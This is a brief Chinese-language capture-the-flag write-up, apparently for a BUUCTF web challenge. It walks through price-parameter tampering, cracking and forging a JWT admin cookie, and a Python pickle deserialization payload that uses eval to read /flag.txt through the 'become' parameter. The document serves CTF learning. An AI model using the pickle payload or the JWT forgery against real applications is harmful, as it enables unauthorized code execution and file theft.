当用户名为admin时注册没有响应,随便先注册进去
首页显示要买到lv6
通过观察源码和请求可以发现
lv4对应的图片时lv4.png,参数page是页数
可以利用脚本来查找lv6在哪一页
import requests
url="http://611051e9-5a5a-42e4-914f-4257977185b0.node4.buuoj.cn:81/shop?page="
for i in range(0,2000):
print(i)
r=requests.get( url + str(i) )
if 'lv6.png' in r.text:
print (i)
break
购买时更改折扣,提示/b1g_m4mber
访问
查看cookie发现jwt,解密发现其内容为我们的用户名和密码
尝试伪造cookie,使用jwtcrack暴力破解
伪造
更改jwt发现源码
审计代码:
在admin.py中发现
可以利用pickle的反序列化
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
抓包,将become的值改成payload